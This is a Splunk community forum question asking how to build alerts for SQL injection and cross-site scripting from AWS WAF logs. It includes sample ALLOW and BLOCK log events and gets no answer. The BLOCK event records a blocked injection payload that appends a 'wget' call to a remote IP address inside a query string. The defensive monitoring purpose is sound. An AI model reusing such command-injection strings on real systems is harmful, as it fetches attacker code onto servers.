Splunk Enterprise

AWS WAF logs SQL Injection Splunk Query

phanichintha
Path Finder

Hello,

Integrated the AWS WAF logs to Splunk, now we need to monitor the Splunk SQL Injection and Cross-Site Script attacks in Splunk.

Can any once please share the query on how to set the alerts for SQL Injection and Cross-Site Script.

Here are the Sample logs from AWS WAF logs which is from ALLOW and BLOCK action, and how to raise an incident if any one attack happen.

action: ALLOW events:
{"timestamp":1602659653929,"formatVersion":1,"webaclId":"ba8f2e58-8d58-42b6-a207-1d3e382db941","terminatingRuleId":"Default_Action","terminatingRuleType":"REGULAR","action":"ALLOW","terminatingRuleMatchDetails":[],"httpSourceName":"ALB","httpSourceId":"110604134217-app/xxxx-PROD-ALB/06b9064d5ca45468","ruleGroupList":[],"rateBasedRuleList":[],"nonTerminatingMatchingRules":[],"httpRequest":{"clientIp":"xx.xx.xxx.xx","country":"AU","headers":[{"name":"Host","value":"access.xxxxxx.com.in"},{"name":"Sec-WebSocket-Key","value":"LWyNMG9kCDp7z0UOSXpoUQ=="},{"name":"adSsoCookie","value":"O2bbUYoRhXfwrLaeD6j5mDLAG_s.*AAJTSQACMDIAAlNLABxueHBJaFYzYUVxQXg2VEdUS2Q4VllTVkQ2UzQ9AAR0eXBlAANDVFMAAlMxAAIwMQ..*"},{"name":"Sec-WebSocket-Version","value":"13"},{"name":"Sec-WebSocket-Protocol","value":"v1.notifications.xxxxxx.org"}],"uri":"/xxxxxxxx/notifications","args":"","httpVersion":"HTTP/1.1","httpMethod":"GET","requestId":"1-5f86a545-7e0faddd488b61a0746fe97d"}}

action: BLOCK events:
{"timestamp":1602647260818,"formatVersion":1,"webaclId":"ba8f2e58-8d58-42b6-a207-1d3e382db941","terminatingRuleId":"3afb3065-2ef7-41f9-9f29-972876893e09","terminatingRuleType":"REGULAR","action":"BLOCK","terminatingRuleMatchDetails":[{"conditionType":"SQL_INJECTION","location":"QUERY_STRING","matchedData":["next_file","/*;wget http://xxx.xx.xx.xxx:5"]}],"httpSourceName":"ALB","httpSourceId":"110604134217-app/xxxxxxx-PROD-ALB/..."}}

0 Karma

phanichintha
Path Finder

Anyone have an idea, please share.

0 Karma
Got questions? Get answers!

Join the Splunk Community Slack to learn, troubleshoot, and make connections with fellow Splunk practitioners in real time!

Meet up IRL or virtually!

Join Splunk User Groups to connect and learn in-person by region or remotely by topic or industry.

Get Updates on the Splunk Community!

Best Practices: Splunk auto adjust pipeline queue

When you enable autoAdjustQueue in Splunk, maxSize should be understood as the queue size Splunk starts with ...

Laser Bananas and Edge Hubs: Exploring Operational Technology (OT) Data Through a ...

  OT is a different environment to traditional IT and can have interesting challenges when interfacing the ...

Event Series: Mastering AI Tokenomics and Splunk Agent Observability

Beyond the Black Box: Correlating AI Performance and Tokenomics with Splunk Agent Observability   As ...